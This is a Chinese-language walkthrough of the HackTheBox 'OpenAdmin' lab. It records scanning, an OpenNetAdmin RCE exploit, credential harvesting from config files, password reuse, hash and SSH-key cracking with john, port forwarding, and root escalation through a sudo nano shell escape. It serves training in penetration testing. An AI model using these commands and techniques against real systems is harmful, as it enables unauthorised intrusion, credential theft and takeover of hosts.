HTB OpenAdmin 渗透测试详细记录
靶机介绍
名字 | OpenAdmin |
---|---|
创建日期 | 04 Jan 2020 |
操作系统 | Linux |
难度 | Easy |
1. 初始侦察阶段
使用nmap进行tcp端口扫描获取信息
nmap -sT -sC -sV --min-rate 5000 -p- 10.129.111.105
目标仅开放了80,22端口,访问80端口,是apche的默认页
2. 服务探测与信息收集
对80端口进行目录遍历,发现了artwork和music目录
gobuster dir -u http://10.129.111.105 -w /usr/share/wordlists/dirb/common.txt
访问 http://10.129.111.105/music/index.html
使用burpsuite对这个页面进行爬虫,获取更多信息
获取到一个新的目录 http://10.129.111.105/ona/ ,访问发现是opennetadmin的后台页面,并且确认版本号是 18.1.1,检索这个版本的漏洞。
3. 漏洞识别与初始访问
通过检索,决定使用这个exp https://github.com/amriunix/ona-rce?tab=readme-ov-file
python ona-rce.py exploit http://10.129.111.105/ona/
成功获取到www-data的权限
在目标服务器寻找敏感配置文件
cat /opt/ona/www/config/config.inc.php
// Include the localized Database settings
$dbconffile = "{$base}/local/config/database_settings.inc.php";
if (file_exists($dbconffile)) {
if (substr(exec("php -l $dbconffile"), 0, 28) == "No syntax errors detected in") {
@include($dbconffile);
} else {
// ... error handling ...
}
} else {
require_once($base.'/../install/install.php');
exit;
}
这段代码的逻辑非常清晰:
- 它定义了一个变量
$dbconffile
,其值就是数据库配置文件的完整路径:{$base}/local/config/database_settings.inc.php
。 - 然后它检查这个文件是否存在 (
file_exists
)。 - 如果存在,就把它包含进来 (
@include($dbconffile)
)。 - 如果不存在,它就会跳转到安装页面。
这证明了据库连接信息就存放在那个文件里。config.inc.php
只是一个框架文件,它负责加载敏感信息的配置文件。
读取 database_settings.inc.php文件
sh$ cat /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?
成功获取到数据库配置信息,用户名密码等等,后续可以尝试密码复用
读取 /etc/passwd 获取系统用户名
从1000开始,为主要用户名,确认为 jimmy/joanna这两个。
4. 横向移动&权限提升前的信息收集
复用数据库密码尝试ssh登录jimmy/joanna。
ssh jimmy@10.129.111.105
成功登录jimmy
继续信息收集,在 /var/www目录发现该用户的web目录
jimmy@openadmin:/var/www$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxr-xr-x 14 root root 4096 Nov 21 2019 ..
drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www
读取该目录的 index.php 文件,发现硬编码的用户名和密码的hash值。
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
读取apche配置文件,确定该服务监听地址为 127.0.0.1:52846
cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
使用john破解该hash,确认密码为 Revealed
john hash --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Revealed (?)
1g 0:00:00:01 DONE (2025-10-14 01:05) 0.5988g/s 9256Kp/s 9256Kc/s 9256KC/s Rey428..Reesenme
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
把52846端口映射到本地
ssh -L 8081:127.0.0.1:52846 jimmy@10.129.111.105
访问本地的8081端口
使用 jimmy/Revealed登录,获取到一个加密的 ssh key
使用 ssh2john把这个 key写入hash
/usr/share/john/ssh2john.py rsa >hash
使用john破解这个hash,成功获取到 rsa密钥 bloodninjas
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (rsa)
1g 0:00:00:02 DONE (2025-10-14 01:27) 0.3546g/s 3395Kp/s 3395Kc/s 3395KC/s bloodofyouth..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
使用密钥ssh登录joanna
ssh -i rsa joanna@10.129.111.105
5. 权限提升
检查joanna的sudo权限
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
可以使用root权限执行 /bin/nano
sudo -u root /bin/nano /opt/priv
使用快捷键 Ctrl + R
将外部文件插入到当前文件中
再使用 ^X
来执行系统命令。按 Ctrl + X
并输入以下命令来生成一个 shell
reset; sh 1>&0 2>&0
成功获取root权限
# id
uid=0(root) gid=0(root) groups=0(root)
6. 攻击链路图
初始侦察 (nmap TCP端口扫描)
↓
Web服务枚举 (发现OpenNetAdmin v18.1.1)
↓
漏洞利用 (OpenNetAdmin RCE 获取www-data权限)
↓
建立立足点(读取配置文件发现数据库凭据)
↓
横向移动-1 (密码复用SSH登录jimmy)
↓
内部信息收集 (发现本地Web服务及密码Hash)
↓
端口转发 (SSH -L 访问内部服务)
↓
凭据破解(破解Hash和SSH私钥密码)
↓
横向移动-2 (使用私钥登录joanna)
↓
漏洞识别(Sudo配置错误,可使用nano提权)
↓
提权(利用nano执行命令获取root权限)
Comments NOTHING